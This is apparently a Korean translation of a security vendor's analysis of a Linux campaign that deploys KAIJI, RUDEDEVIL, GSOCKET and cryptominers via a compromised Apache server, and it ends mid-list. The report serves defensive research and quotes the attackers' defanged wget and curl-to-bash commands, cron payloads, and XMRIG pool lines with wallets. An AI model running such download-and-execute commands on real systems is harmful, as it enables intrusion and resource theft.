서문
최근 몇 달 동안 Elastic Security Labs는 취약한 서버를 대상으로 하는 정교한 Linux 멀웨어 캠페인을 발견했습니다. 공격자는 3월에 Apache2 웹 서버를 익스플로잇하여 2024 침해를 시작했습니다. 초기 액세스 권한을 확보한 위협 행위자는 복잡한 침입 세트를 배포하여 지속성을 확립하고 손상된 호스트에 대한 제어권을 확장했습니다.
위협 행위자들은 커널 프로세스로 위장한 C2 채널, 통신을 위한 텔레그램 봇, 예약된 작업 실행을 위한 크론 작업 등 다양한 도구와 멀웨어를 사용했습니다. 특히, 이들은 맞춤형 멀웨어와 함께 KAIJI 및 RUDEDEVIL과 같은 여러 멀웨어 제품군을 배포했습니다. 디도스 공격으로 유명한 카이지와 암호화폐 채굴자인 루드데블은 악의적인 목적으로 시스템 리소스를 악용하는 데 사용되었습니다.
저희의 조사 결과, 도박 API를 활용하는 잠재적인 비트코인/XMR 채굴 계획이 발견되었으며, 공격자가 손상된 호스트를 사용하여 자금 세탁 활동을 하고 있을 수 있음을 시사합니다. 또한 이전에는 볼 수 없었던 해시를 사용하여 매일 새로운 KAIJI 샘플을 업로드하는 파일 공유에 액세스하여 멀웨어 제작자가 활발하게 개발 및 적응하고 있음을 알 수 있었습니다.
이 연구 보고서는 공격자의 전술, 기술 및 절차에 대한 포괄적인 분석을 통해 캠페인의 세부 사항을 자세히 살펴봅니다. 공격자들이 초기 액세스를 설정한 방법, 지속성 및 권한 상승에 사용된 방법, 각 단계에서 배포된 멀웨어를 살펴봅니다. 또한, 은밀한 통신을 위한 GSOCKET과 텔레그램의 사용을 포함한 명령 및 제어 인프라에 대해서도 설명합니다.
실행 흐름
최초 침투
저희 팀은 3월에 Apache2를 실행하는 서버에서 임의의 코드 실행 권한을 획득하여 2024 처음 손상된 호스트를 관찰했습니다. 이 침해의 증거는 Apache2 프로세스를 통해 id
명령이 실행된 후 위협 행위자가 웹 서버를 악용하여 www-data
사용자 계정으로 KAIJI 멀웨어를 배포하는 것을 볼 수 있습니다.
카이지가 배포된 직후, 공격자는 www-data
계정을 사용하여 00.sh
이라는 스크립트를 URL http://61.160.194[.]160:35130
에서 다운로드했으며, 추가 조사 결과 여러 버전의 RUDEDEVIL 멀웨어도 호스팅하고 있었습니다.
00.sh
는 스테이저입니다:
- 기본 셸과 경로를 설정합니다.
- 여러 로그 파일을 삭제하여 실행 흔적을 지웁니다.
ps
,netstat
,lsof
및 일반적인 마이닝 프로세스 이름 목록을 활용하여 손상된 호스트에서 잠재적인 마이닝 경쟁을 차단합니다.- 호스트에서
iptables
규칙을 플러시하고, 특정 대상 포트 및 마이닝 풀에 대한 연결을 차단하는 여러iptables
규칙을 설정하고,iptables
을 비활성화합니다. - 마지막으로 두 번째 단계(
sss6
/sss68
)가 다운로드 및 실행되고 실행 흔적이 지워집니다.
아래 그림은 스테이저의 압축 버전을 보여줍니다. [...]
주석이 달린 줄은 가독성을 높이기 위해 줄을 줄였습니다.
파일서버
공격자는 백도어된 웹 서버 프로세스를 통해 다음 명령을 통해 멀웨어를 다운로드하고 실행했습니다:
sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
l64
및 l86
파일은 http://107.178.101[.]245:5488
에서 다운로드한 후 모든 권한을 부여하고 실행한 후 제거합니다. 이러한 멀웨어 샘플을 호스팅하는 서버를 살펴보면 다음과 같은 내용을 확인할 수 있습니다:
이것은 파일 서버로 보이며, 다양한 아키텍처를 위한 여러 유형의 멀웨어를 호스팅하는 것으로 보입니다. 파일 서버는 Rejetto 기술을 활용합니다. 이러한 멀웨어에는 업로드 날짜와 다운로드 카운터가 있습니다. 예를 들어 9월 10일에 업로드된 download.sh
파일은 이미 3,100회 다운로드되었습니다.
루드데빌/루시퍼
자세히 살펴본 결과, 다운로드 및 실행된 파일 sss6
은 RUDEDEVIL 멀웨어로 확인되었습니다. 실행 프로세스 초기에 이 멀웨어 제품군의 특징인 임베디드 메시지가 나타납니다:
Hi, man. I\'ve seen several organizations report my Trojan recently,
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others.
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite.
I don\'t have any accommodation. I don\'t want to do anything illegal.
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc,
thank yo
파일 서버에서 호스팅되는 l64
및 l86
파일에 동일한 멀웨어가 포함되어 있습니다. 멀웨어의 실행 흐름을 분석해 보면 멀웨어의 주요 기능이 몇 가지 주요 작업을 수행한다는 것을 알 수 있습니다:
- 데몬 초기화: 프로세스는
daemon(1, 0)
을 사용하여 데몬으로 변환됩니다. - 소켓 생성: 소켓이 생성되어 특정 포트에 바인딩됩니다.
- 신호 처리: 다양한 신호에 대해 사용자 지정 신호 처리기를 설정할 수 있습니다.
- 서비스 초기화:
SetFILE
을 사용하여 여러 서비스가 시작됩니다. - 권한 처리: 루트 권한을 확인하고 그에 따라 리소스 제한을 조정합니다.
- 복호화: 멀웨어가 구성 블롭을 복호화합니다.
- 스레드 생성: 채굴, 프로세스 종료, 네트워크 및 CPU 사용량 모니터링과 같은 작업을 위해 여러 스레드가 생성됩니다.
- 메인 루프: 프로그램이 서버에 반복적으로 연결하고 지정된 시간 동안 절전 모드로 전환되는 무한 루프에 들어갑니다.
암호화 루틴을 살펴보면 XOR 기반 인코딩을 사용하는 것을 확인할 수 있습니다:
콘텐츠를 정적으로 디코딩하기 위해 기본 Python 스니펫을 개발했습니다:
def DecryptData(data_block, encryption_key):
key_modifier = encryption_key & 0xFF
key_index = key_modifier // 0x5F # 0x5F = 95 in decimal
modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal
for i in range(len(data_block)):
data_block[i] ^= modifier
data_block[i] &= 0xFF # Ensure 8-bit value
data_block[i] += modifier
data_block[i] &= 0xFF # Ensure 8-bit value
return data_block
# Encoded data as hex strings
encoded_data = [
'4c494356515049490c467978',
'0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
'0f424d4e0f435536575649484b',
'5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]
encryption_key = 0x03FF # 1023 in decimal
# Process and decrypt each encoded data string
for data in encoded_data:
# Convert hex string to list of integers
data_bytes = bytes.fromhex(data)
data_block = list(data_bytes)
# Decrypt the data
decrypted_block = DecryptData(data_block, encryption_key)
# Convert decrypted data back to bytes
decrypted_bytes = bytes(decrypted_block)
print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))
구성을 디코딩하면 다음 값이 표시됩니다:
- 첫 번째 값 C2 도메인
nishabii[.]xyz
. - 두 번째 값은 XMRIG에 전달할 옵션을 표시합니다.
- 세 번째 값은 멀웨어가 사용하는 임시 파일 위치를 보여줍니다.
- 네 번째이자 마지막 문자열은 XMRIG 바이너리의 다운로드 위치를 표시합니다.
멀웨어의 스레드 관리
멀웨어는 핵심 작업을 처리하기 위해 여러 스레드를 시작합니다. 이러한 기능 중 일부가 어떻게 작동하는지 자세히 살펴보겠습니다.
KillPid 함수 이해
스레드 중 하나는 프로세스를 지속적으로 모니터링하고 관리하도록 설계된 KillPid 기능을 실행합니다. 이 기능은 현재 스레드를 분리하여 다른 프로세스를 차단하지 않고 백그라운드에서 실행할 수 있도록 합니다. 그런 다음 무한 루프에 들어가 작업을 반복적으로 실행합니다.
이 기능의 핵심에는 악성코드가 종료하려는 프로세스의 이름이 포함된 sb_name
이라는 배열이 있습니다.
이 함수는 2초마다 시스템에서 이 배열에 나열된 프로세스가 있는지 확인하여 getPidByName
이라는 도우미 함수를 사용하여 프로세스 ID(PID)를 검색합니다. 각 반복이 끝나면 목록의 다음 프로세스로 이동하여 sb_name
의 모든 프로세스가 처리되도록 합니다.
흥미롭게도 배열의 모든 요소를 처리한 후 함수는 프로세스 검사를 재개하기 전에 600 초(약 10 분) 동안 긴 절전 모드로 들어갑니다. 이 연장된 절전 기간은 시스템 리소스를 절약하여 멀웨어가 프로세스를 모니터링하는 동안 너무 많은 CPU 시간을 소비하지 않도록 하기 위해 구현된 것일 수 있습니다.
Get_Net_Messages 함수 이해하기
또 다른 중요한 스레드는 네트워크 트래픽 모니터링을 담당하며, 특히 eth0
네트워크 인터페이스에 중점을 둡니다. 이 기능은 getOutRates
함수에서 처리합니다. 이 기능은 필요한 변수를 설정하고 각 인터페이스에 대한 자세한 네트워크 통계가 포함된 /proc/net/dev
파일을 여는 것으로 시작됩니다.
파일이 성공적으로 열리면 멀웨어는 데이터 블록(최대 1024 바이트)을 읽고 이를 처리하여 관련 네트워크 통계를 추출합니다. 특히 eth0
인터페이스를 찾아 표준 문자열 구문 분석 방법을 사용하여 출력 속도 데이터를 구문 분석합니다. 성공하면 eth0
의 출력 속도를 반환하고, 그렇지 않으면 0
을 반환하여 오류가 발생하더라도 멀웨어가 계속 작동하도록 합니다.
이 루틴을 통해 멀웨어는 감염된 컴퓨터의 네트워크 활동을 조용히 모니터링하여 인터페이스를 통해 송수신되는 데이터를 추적할 수 있습니다.
Get_Cpu_Message 함수 이해하기
CPU 모니터링을 위해 멀웨어는 GetCpuRates
함수를 사용합니다. 이 기능은 /proc/stat
에서 데이터를 읽어 CPU 사용량을 지속적으로 모니터링합니다. 네트워크 데이터를 처리하는 방식과 유사하게 CPU 통계를 읽고 파싱하여 멀웨어가 시스템의 CPU 사용량을 계산할 수 있도록 합니다.
이 함수는 무한 반복으로 작동하며, 시스템에 무리가 가지 않도록 각 반복 사이에 1초 동안 절전 모드로 전환합니다. 어떤 이유로 파일을 열 수 없는 경우 이 함수는 오류를 기록하고 정상적으로 종료합니다. 그러나 파일을 읽을 수 있는 한, 멀웨어는 CPU 사용량을 지속적으로 모니터링하여 시스템 성능을 계속 인식합니다.
Send_Host_Message 함수 이해하기
아마도 가장 중요한 스레드는 시스템 정보를 멀웨어 운영자에게 다시 전송하는 스레드일 것입니다. _SendInfo
함수는 감염된 시스템의 CPU 및 네트워크 사용량에 대한 데이터를 수집하여 이 작업을 수행합니다. 버퍼를 설정하고 필요한 데이터를 수집하기 위한 파일 경로를 준비하는 것으로 시작됩니다. 시스템 상태에 따라 CPU 및 네트워크 사용량을 문자열로 형식화합니다.
또한 이 기능은 시스템에서 특정 프로세스가 실행 중인지 확인하고 그에 따라 형식이 지정된 메시지를 조정합니다. 마지막으로 이 포맷된 데이터를 소켓 연결을 통해 명령 및 제어 서버로 다시 전송합니다.
기본적으로 이 기능을 통해 멀웨어는 감염된 컴퓨터를 원격으로 모니터링하여 CPU 부하 및 네트워크 활동과 같은 주요 세부 정보를 수집할 수 있습니다. 운영자는 이 정보를 사용하여 감염 상태를 평가하고 필요에 따라 활동을 조정할 수 있습니다.
명령 및 제어(C2) 서버에 연결하기
모든 스레드가 실행되고 나면 멀웨어는 C2 서버와의 연결 설정으로 초점을 전환합니다. 이는 서버와의 통신을 처리하고 원격으로 명령을 실행하는 메인 스레드의 ConnectServer
함수에 의해 관리됩니다.
ConnectServer 함수 이해
ConnectServer
함수가 수행하는 첫 번째 작업은 ServerConnectCli
을 사용하여 C2 서버에 대한 연결을 설정하는 것입니다. 연결에 성공한 후 멀웨어는 연결 유지 설정을 활성화하도록 소켓을 구성하여 장시간 동안 연결이 안정적으로 유지되도록 합니다.
연결이 설정되면 멀웨어는 호스트 이름, 사용자 정보, CPU 사양 및 메모리 세부 정보를 포함한 다양한 시스템 정보를 수집합니다. 그런 다음 이 정보는 초기 데이터 페이로드로 서버로 전송되어 공격자에게 감염된 머신에 대한 자세한 정보를 제공합니다.
이 초기 설정이 끝나면 멀웨어는 서버의 명령을 기다렸다가 처리하는 지속적인 루프에 들어갑니다. 처리되는 명령의 유형은 다양하며 DDoS 공격 시작, CPU 집약적인 작업 중지 또는 시작, 시스템 명령 실행, 암호화폐 채굴 활동 관리 등의 작업을 포함할 수 있습니다. 이 루프는 무한정 계속되며, 멀웨어는 운영자가 보낸 모든 명령을 실행할 준비가 되어 있습니다.
연결이 더 이상 필요하지 않거나 악성코드가 종료 명령을 받으면 소켓을 정상적으로 닫아 서버와의 세션을 종료합니다.
명령 및 제어(C2) 명령
ConnectServer
함수는 감염된 시스템의 여러 측면을 제어하도록 설계된 C2 서버의 다양한 명령을 처리합니다. 악성코드가 처리하는 명령은 다음과 같습니다:
- 사례 4: 멀웨어가
DealwithDDoS
함수를 호출하여 분산 서비스 거부(DDoS) 공격을 시작할 가능성이 있습니다. - 사례 5:
StopFlag
을1
으로 설정하여 멀웨어가 특정 작업을 중지하도록 신호를 보낼 수 있습니다. - 사례 6:
http_get
을 사용하여 서버에서 파일을 다운로드하고 권한을 변경한 다음 실행합니다. 이 명령을 통해 공격자는 감염된 컴퓨터에서 추가 멀웨어 또는 스크립트를 실행할 수 있습니다. - 사례 7:
system
함수를 사용하여 시스템 명령을 실행하여 공격자가 시스템의 명령줄을 직접 제어할 수 있도록 합니다. - 사례 8:
StopCpu
을0
으로 설정하여 이전에 중지된 모든 CPU 작업을 다시 시작합니다. - 사례 9:
StopCpu
을1
으로 설정하여 모든 CPU 작업을 중지합니다. - 사례 0xA: CPU 마이닝 구성을 새 데이터로 업데이트하고 현재 프로세스의 PID를 검색하여 멀웨어가 암호화폐 마이닝 작업을 수정할 수 있도록 합니다.
- 케이스 0xB:
stopxmr
를1
로 설정하여 XMRIG 채굴기를 효과적으로 중지합니다. - 케이스 0xC:
stopxmr
을0
으로 재설정하고 현재 프로세스 PID 를 검색하여 채굴 활동을 재개합니다.
각 명령을 통해 멀웨어 운영자는 감염된 컴퓨터가 DDoS 공격에 참여하거나 새로운 멀웨어를 실행하거나 채굴 작업을 관리하는 등의 동작 방식을 정밀하게 제어할 수 있습니다.
루드데블 멀웨어의 변종 및 XMRIG 구성
앞서 언급한 파일 서버가 활성화되어 있는 동안 여러 버전의 RUDEDEVIL 멀웨어가 업로드되는 것이 관찰되었습니다. 이 버전들의 핵심 기능은 거의 동일하게 유지되었으며, 암호화폐 채굴에 사용되는 내장된 XMRIG 명령만 크게 달라졌습니다.
각 버전의 멀웨어는 동일한 마이닝 풀( c3pool.org
)에 연결하도록 구성되었지만, XMRIG 마이너에 전달되는 매개 변수에 약간의 차이가 있습니다:
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0
이러한 각 명령은 채굴자가 동일한 채굴 풀에 연결하도록 지시하지만, 다른 지갑이나 구성을 지정합니다. c3pool
애플리케이션을 살펴본 결과, 해당 명령과 관련된 두 XMR 주소가 모두 현재 활성화되어 채굴되고 있음을 확인했습니다.
또한 이 분석을 통해 이 두 채굴 캠페인이 창출한 총 수익을 추정할 수 있었으며, RUDEDEVIL 악성코드의 재정적 영향과 불법 암호화폐 채굴 작업과의 연관성을 강조했습니다.
GSOCKET
지속성을 확보하기 위해 위협 행위자는 방화벽 또는 NAT 뒤에 있는 컴퓨터 간에 암호화된 통신을 가능하게 하도록 설계된 네트워크 유틸리티인 GSOCKET을 다운로드하여 설치했습니다. GSOCKET은 글로벌 소켓 릴레이 네트워크(GSRN)를 통해 안전하고 영구적인 연결을 생성합니다. 이 오픈 소스 도구에는 AES-256 암호화, 엔드투엔드 통신 보안 지원, SSH, 넷캣, TOR과의 호환성 등의 기능이 포함되어 있어 암호화된 파일 전송, 원격 명령 실행, 숨겨진 서비스 생성까지 가능합니다.
GSOCKET은 본질적으로 악의적인 것은 아니지만, 그 기능은 의심스러운 목적으로 활용될 수 있습니다.
일단 배포되면 GSOCKET은 지속성을 유지하고 존재를 숨기기 위해 몇 가지 작업을 수행합니다. 먼저 시스템에서 활성 커널 프로세스가 있는지 확인하여 어떤 프로세스로 가장할지 결정합니다:
그런 다음 /dev/shm/.gs-1000
디렉터리를 생성하여 바이너리를 다운로드하고 공유 메모리에 저장합니다. 또한 기본적으로 /home/user/.config/htop/
아래에 /htop
디렉터리를 설정하여 GSOCKET 바이너리와 작업에 사용되는 비밀 키를 모두 저장합니다.
다음으로, 매분마다 비밀 키로 GSOCKET 바이너리를 실행하는 크론 작업을 설정합니다.
이 바이너리는 exec -a [process_name]
명령을 사용하여 커널 프로세스의 이름으로 실행되므로 탐지를 회피하는 기능이 더욱 향상됩니다. cron 작업에는 base64로 인코딩된 명령이 포함되어 있으며, 이 명령이 디코딩되면 지속성 메커니즘이 정기적으로 실행되고 정상적인 커널 프로세스로 위장됩니다:
페이로드를 디코딩할 때 defunct.dat
비밀 키가 exec -a
명령을 사용하여 [raid5wq]
로 가장한 defunct
바이너리를 실행하기 위한 인수로 어떻게 사용되는지 확인할 수 있습니다:
GSOCKET은 크론 작업 사용 외에도 셸 프로필 수정, 실행 제어(rc.local
) 및 Systemd를 통해 지속성을 설정할 수 있는 기능을 제공합니다. GSOCKET은 잠재적인 지속성 위치를 열거합니다:
GSOCKET은 텔레그램이나 디스코드 통합과 같은 여러 웹훅을 지원하여 원격 제어 및 알림을 가능하게 합니다:
마지막으로, 설치 후 GSOCKET은 생성되거나 수정된 모든 파일에 타임스탬프를 찍어 설치 흔적을 지우려고 시도합니다:
이러한 기능으로 인해 GSOCKET은 은밀함과 지속성을 추구하는 위협 행위자에게 매력적인 도구입니다. 이 캠페인에서 GSOCKET은 탐지를 회피하면서 C2 서버로 돌아가는 은밀한 채널을 구축하는 데 악용되었습니다.
또한 PHP 페이로드가 외부 IP에서 가져와 404.php
으로 저장되어 향후 액세스를 위한 백도어 역할을 하는 것으로 보입니다. 이 페이로드를 확보하지 못했습니다.
손상 후 체류 시간
3주 동안 눈에 띄는 활동 없이 조용히 지내던 위협 공격자들은 내장된 Python3을 활용하여 새로운 명령 및 제어 서버에 역방향 연결을 설정하는 방식으로 작업을 재개했습니다.
호스트에 다시 액세스한 후, 최신 버전의 KAIJI 멀웨어가 배포되었습니다.
KAIJI 멀웨어: 이전 샘플과의 비교
발견된 파일 서버의 파일을 조사하던 중 셸 스크립트를 발견했습니다. 이 셸 스크립트는 이전 단계에서 다운로드에 사용된 주요 파일로 보이며, 피해자에게 올바른 아키텍처가 사용되었는지 확인합니다.
다른 보고서에서도 동일한 셸 스크립트가 발견되며, 이 스크립트가 KAIJI를 배포하는 데 사용됩니다.
조사의 일환으로 파일 서버에서 발견된 KAIJI 멀웨어 샘플을 분석하여 2022년 Black Lotus Labs에서 확인된 샘플과 비교했습니다. 자세한 분석은 Chaos
(KAIJI)의 블로그 게시물에서 확인할 수 있습니다.
바이너리 비교 도구인 BinDiff를 사용하여 바이너리의 기능을 비교했습니다. 분석 결과, 샘플의 코드가 이전에 확인된 2022년 KAIJI 샘플과 동일한 것으로 나타났습니다.
코드는 동일했지만 한 가지 중요한 차이점이 눈에 띄었는데, 바로 C2 서버 주소였습니다. 두 바이너리에서 기능은 일관되게 유지되었지만 서로 다른 C2 도메인을 가리켰습니다.
더 자세히 분석해 보니 main_Link
이라는 함수를 발견했습니다. 이 함수는 멀웨어가 사용하는 C2 서버 주소를 디코딩하는 역할을 합니다.
디코딩이 완료되면 이 함수는 주소에서 |(odk)/*-
접미사를 검색하여 제거하고 C2 도메인과 포트만 남깁니다. 이 프로세스를 통해 멀웨어는 C2 서버와 통신할 수 있지만, 샘플마다 접촉하는 주소가 변경될 수 있습니다.
카이지를 정적으로 리버스 엔지니어링하는 리소스가 일부 공개되었으므로, 그 대신 카이지의 동작을 더 자세히 살펴볼 것입니다.
실행 후 KAI는 /etc/
및 /dev/
디렉토리, /etc/id.services.conf
, /etc/32678
, /dev/.img
및 /dev/.old
에 여러 파일을 생성합니다. 이러한 스크립트는 지속성을 확립하는 곳입니다.
/etc/init.d/linux_kill
와 crond.service
두 개의 서비스가 설정되어 있습니다. crond.service
는 Systemd에 의해 실행되고 linux_kill
는 SysVinit 지속성에 사용됩니다.
Systemd 디먼을 다시 로드한 후 C2에 대한 첫 번째 네트워크 연결이 시도됩니다.
다음으로 Systemd Late generator
서비스 파일이 생성됩니다. Systemd
의 작동 방식과 이 방법을 통해 지속성을 설정하는 다양한 방법에 대한 자세한 내용은 최근 블로그 시리즈인 Linux 탐지 엔지니어링 - 지속성 메커니즘에 대한 입문서에서 확인할 수 있습니다.
KAI는 이전에 배포된 Systemd
서비스를 통해 실행되는 실행 파일인 /boot/System.img.config
파일을 생성합니다. 이 바이너리는 다른 바이너리 중에서도 지속성을 확립하는 또 다른 방법입니다.
다음으로, 무단 행위를 허용하도록 SELinux
정책을 조정합니다. 감사 로그에서 System.img.conf
과 관련된 거부된 작업을 검색하고 이러한 작업을 허용하는 새 SELinux
정책을 생성한 다음 우선순위가 높은 정책을 설치합니다. 이렇게 함으로써 멀웨어는 일반적으로 자신의 활동을 차단하는 보안 제한을 우회합니다.
또한, 배시 프로필을 통해 여러 가지 형태의 지속성을 추가로 설정하고 /usr/lib/libd1rpcld.so
및 /.img
이라는 두 가지 악성 아티팩트를 추가로 생성합니다.
곧바로 /etc/crontab
명령어를 통해 /.img
파일이 설정된 일정에 따라 루트에 의해 실행되도록 변경합니다.
KAI는 계속해서 여러 기본 시스템 바이너리를 비정상적인 위치로 이동하여 탐지를 회피하려고 시도합니다.
KAI는 renice
명령을 사용하여 KAIJI가 심은 실행 파일 중 하나인 PID 2957
에 가능한 가장 높은 우선순위(-20에서 19까지, 가장 낮은 것이 가장 높은 우선순위)를 부여하여 다른 프로세스보다 더 많은 CPU 리소스를 확보할 수 있도록 합니다.
탐지를 피하기 위해 KAI는 시스템 내에서 디렉터리가 마운트되고 조회되는 방식을 조작하여 악성 활동을 은폐하는 방어 회피 방법인 바인드 마운트 기법을 사용했습니다.
마지막으로 cron
가 앞서 /etc/crontab
파일에 심어놓은 /.img
을 실행한 흔적을 볼 수 있습니다.
이야기는 계속됩니다.
2주 후, 아파치 백도어가 다시 활성화되었습니다. 또 다른 백도어는 www-data
사용자를 통해 Apache2 프로세스를 통해 명령을 사용하여 다운로드되었습니다:
sh -c wget http://91.92.241[.]103:8002/gk.php
이 페이로드의 내용은 아직 알려지지 않았습니다. 이 단계에서 공격자가 pspy64
을 배포하여 수동 권한 상승을 시도하는 것이 관찰되었습니다. Pspy
는 루트 권한 없이 Linux 시스템에서 프로세스 스누핑을 위한 명령줄 도구입니다. 다른 사용자가 시작한 프로세스를 포함하여 실행 중인 프로세스를 모니터링하고 크론 작업 실행과 같은 이벤트를 캡처합니다. 이 도구는 시스템 활동을 분석하고, 권한 상승 시도를 파악하고, 프로세스에서 트리거된 명령과 파일 시스템 상호 작용을 실시간으로 감사하는 데 특히 유용합니다. 공격자는 일반적으로 침해 후 시나리오에서 정찰에 활용하여 시스템 작업과 잠재적 취약성에 대한 가시성을 확보합니다.
특히 pspy64
은 [rcu_preempt]
모체에서 실행되었으며, 이는 위협 행위자가 웹 서버 백도어를 활용하던 방식에서 GSOCKET 백도어를 사용하는 방식으로 전환했음을 나타냅니다.
권한 상승에 대한 추가 시도는 CVE-2021-4034
, pwnkit
으로도 알려진 익스플로잇을 포함했습니다. 이 취약점은 Linux 시스템의 PolicyKit 패키지의 pkexec
구성 요소에 영향을 미치며, 권한이 없는 사용자가 루트 권한으로 임의의 코드를 실행할 수 있게 합니다. 공격자는 이 결함을 악용하여 시스템에 대한 높은 수준의 액세스 권한을 획득할 수 있으며, 잠재적으로 영향을 받는 시스템을 완전히 제어할 수 있습니다.
사용자 지정 빌드 바이너리
공격자는 곧바로 apache2
및 apache2v86
에서 맞춤형 멀웨어를 다운로드하려고 시도했습니다:
http://62.72.22[.]91/apache2
http://62.72.22[.]91/apache2v86
저희는 이 파일의 사본을 확보했는데, 현재 VirusTotal에서는 전혀 탐지되지 않았습니다. 그러나 동적으로 실행할 때 세그먼트 결함이 관찰되었고 원격 분석을 통해 손상된 호스트에서 세그먼트 결함 활동이 확인되었습니다. 일주일 동안 위협 행위자는 이러한 바이너리를 변경, 업로드 및 실행하려고 15 여러 번 시도했지만 반복되는 세그폴트로 인해 이 맞춤형 멀웨어를 실행하는 데 성공하지 못한 것으로 보입니다.
바이너리는 실행에 실패했지만 리버스 엔지니어링 과정에서 귀중한 인사이트를 제공했습니다. 샘플에서 여러 개의 XOR 인코딩 문자열을 발견했습니다.
문자열을 인코딩하는 데 사용된 XOR 키는 0x79
(또는 y
)로 식별되었습니다. 문자열을 디코딩한 후 악성코드가 구성하려고 시도한 HTTP 요청 헤더의 조각을 발견했습니다:
/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
이는 멀웨어가 HTTP 요청을 구성하는 과정에 있었음을 나타냅니다. 그러나 헤더의 불완전한 특성과 반복되는 실행 실패로 보아 이 소프트웨어는 아직 완전히 개발되거나 운영되지 않은 것이 분명합니다.
추가 정찰
공격자들은 해커의 선택에 있는 툴을 다운로드하고 실행하여 whatserver.sh
.
이 셸 스크립트는 서버 정보를 수집하고 표시하도록 설계되었습니다. CPU 및 메모리 사용량, 가상화 세부 정보, 네트워크 설정과 같은 시스템 리소스 정보와 함께 SSL 인증서, Nginx 및 Apache 구성 파일에서 FQDN(정규화된 도메인 이름)과 같은 세부 정보를 추출합니다. 스크립트는 마지막으로 로그인한 사용자 및 현재 청취 중인 서비스를 포함하여 최근 활동을 요약할 수도 있습니다.
채굴 활동
거의 2주에 걸친 수동 익스플로잇 시도 끝에 위협 행위자는 루트 액세스 권한 획득에 실패한 것으로 보이며 권한 상승을 위한 노력을 중단했습니다. 대신, 이들은 www-data
사용자로 지속성을 설정하고 GSOCKET을 활용하여 [mm_percpu_wq]
이라는 커널 프로세스로 위장된 SSL 연결을 설정했습니다.
base64 콘텐츠를 디코딩하면 매우 익숙한 모양의 출력을 얻을 수 있습니다:
행동 규칙을 통해 위협 행위자가 현재 사용자의 크론탭 항목을 나열하고 페이로드를 크론탭에 직접 반영하는 것을 확인할 수 있습니다.
이 명령은 매분마다 http://gcp.pagaelrescate[.]com:8080/ifindyou
을 다운로드하여 bash로 파이프하려고 합니다. ifindyou
의 내용을 살펴보면 다음과 같은 Bash 스크립트를 볼 수 있습니다:
이 스크립트는 호스트 이름과 IP 정보를 수집하고 http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC
(XMRIG)에서 SystemdXC
아카이브를 다운로드한 후 /tmp/SystemdXC
에 저장하고 아카이브를 추출한 후 비트코인 채굴을 시작하는 데 필요한 매개변수와 함께 실행합니다.
마이닝 명령을 살펴보면 멀웨어가 XMRIG를 구성하는 방법을 확인할 수 있습니다:
이 명령은 감염된 컴퓨터의 호스트 이름을 마이닝 프로세스의 식별자로 사용하여 unmineable.com
마이닝 풀에 연결합니다. 이 글을 쓰는 현재, 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz
지갑 주소로 비트코인을 채굴하는 15 활성 작업자가 있습니다.
비트코인 주소에 대한 추가 조사 결과, 이 주소가 단일 거래를 수행한 것으로 확인되었습니다.
흥미롭게도 이 거래의 출력 주소는 바이낸스와 관련된 잘 알려진 핫월렛을 가리키며, 이는 공격자가 채굴 수익을 거래소 플랫폼으로 전송했을 수 있음을 나타냅니다.
다시 스크립트로 돌아가면 두 개의 명령이 주석 처리된 것을 볼 수 있는데, 나중에 더 명확해질 것입니다. 스크립트가 실행됩니다:
curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
이 페이로드를 살펴보면 다음과 같은 내용을 확인할 수 있습니다:
이 단계에서는 명령의 출력을 확인하고, 이를 텔레그램 채팅 봇으로 전송합니다. 텔레그램 행동 규칙을 통해, 텔레그램 POST 요청은 다음과 같은 모습임을 알 수 있습니다:
이 단계에서 설정된 크론 작업은 0분 0초마다 4시간마다 실행됩니다. 이 작업이 실행됩니다:
curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
다운로드한 Python 스크립트는 HTTP 요청을 통해 온라인 도박 게임과의 상호작용을 자동화합니다. 스크립트에는 사용자 인증, 베팅, 결과 처리, 원격 서버로 데이터 전송을 처리하는 함수가 포함되어 있습니다.
자세히 살펴본 결과 스크립트에서 다음과 같은 주요 구성 요소를 확인했습니다:
글로벌 변수:
usuario
: 세션 관리를 위한 사용자 ID를 저장합니다.apuesta
: 베팅 금액을 나타냅니다.ganancias
